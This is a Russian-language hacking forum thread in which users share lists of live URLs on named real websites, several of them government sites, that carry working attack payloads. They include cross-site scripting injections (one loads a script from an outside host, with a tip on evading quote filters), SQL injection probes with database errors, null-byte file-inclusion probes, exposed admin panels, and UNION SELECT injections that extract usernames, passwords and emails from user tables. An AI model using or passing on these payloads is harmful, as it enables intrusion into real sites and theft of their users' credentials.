ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://www.ziv.ru/fmessages.asp?iid=><h1>HACKED</h1>

__________________
Никому нельзя верить...

http://www.government.gov.ru/search/search.html?query="><script>alert('VectorG')</script>&page=1&book=0&he_id=38&pres_he_id=38

http://www.americasarmy.com/includes/bumper.php?goto="><script>alert('america_sucks')</script>

http://sotoman.ru/forum/show_msg.php?postid=3457<script src=http://site.ru/script.js></script>
Надо писать без кавычек все кавычки фильтруются

http://www.annualreports.ru/load.php?link='
sql инъекция

Нагуглил тут немного
Если никому не пригодится - помидорами не бросаться
-----------------------------
_http://www.mff.org/publications/publications.taf?page=bebebe'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression '(P1.ID=bebebe') ORDER BY 25 DESC'.

_http://www.archaeological.org/webinfo.php?page='
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/aia/public_html/webinfo.php on line 11

_http://www.jedit.org/index.php?page=%00
_http://www.prestosoft.com/ps.asp?page=bebebe%00
_http://phppgadmin.sourceforge.net/?page=%00
_http://www.ourdocuments.gov/content.php?flash=false&page=%00
вдруг кто расковыряет?

_http://www.swrcb.ca.gov/rwqcb3/Admin/
вот еще - немного мыльников в зоне gov и может еще что-то чего я не разглядел

_http://www.agriya.com/demo/paidmail/admin/
_http://copyforsale.com/mail/
_http://www.software-trading.de/liste.asp?Titel=Backup&sql=WHERE(Kategorie%20IN('B ackup'))%20--

_http://theory.lcs.mit.edu/~cis/cpl/backup.tar.gz
(не качал - не знаю)
----------------EOF------------------------

__________________
Никому нельзя верить...

http://www.gamersinfo.net/content/news.php?id=168%20union%20select%201,password,username,email,5,6,7,8,9%20from%20user%20limit%201,2/*
http://www.national-geographic.ru/forums/showthreaded.php?Cat=&Board=general&Number=-1480%20union%20select%20concat(u_email,':',u_password),2,3%20from%20w3t_Users%20limit%205,6/*
http://www.rolemancer.ru/sections.php?op=listarticles&secid=-87%20union%20select%201,pass,3,4,uname%20from%20users/*
http://www.wargames.ru/sections.php?op=listarticles&secid=-87%20union%20select%201,uname,3,4,pass%20from%20users/*
http://www.echoekb.ru/news.php?r=2%20union%20select%201,2,user_pass,4,5,6,7,8,9,0%20from%20forum_user/*

__________________
Full DNS report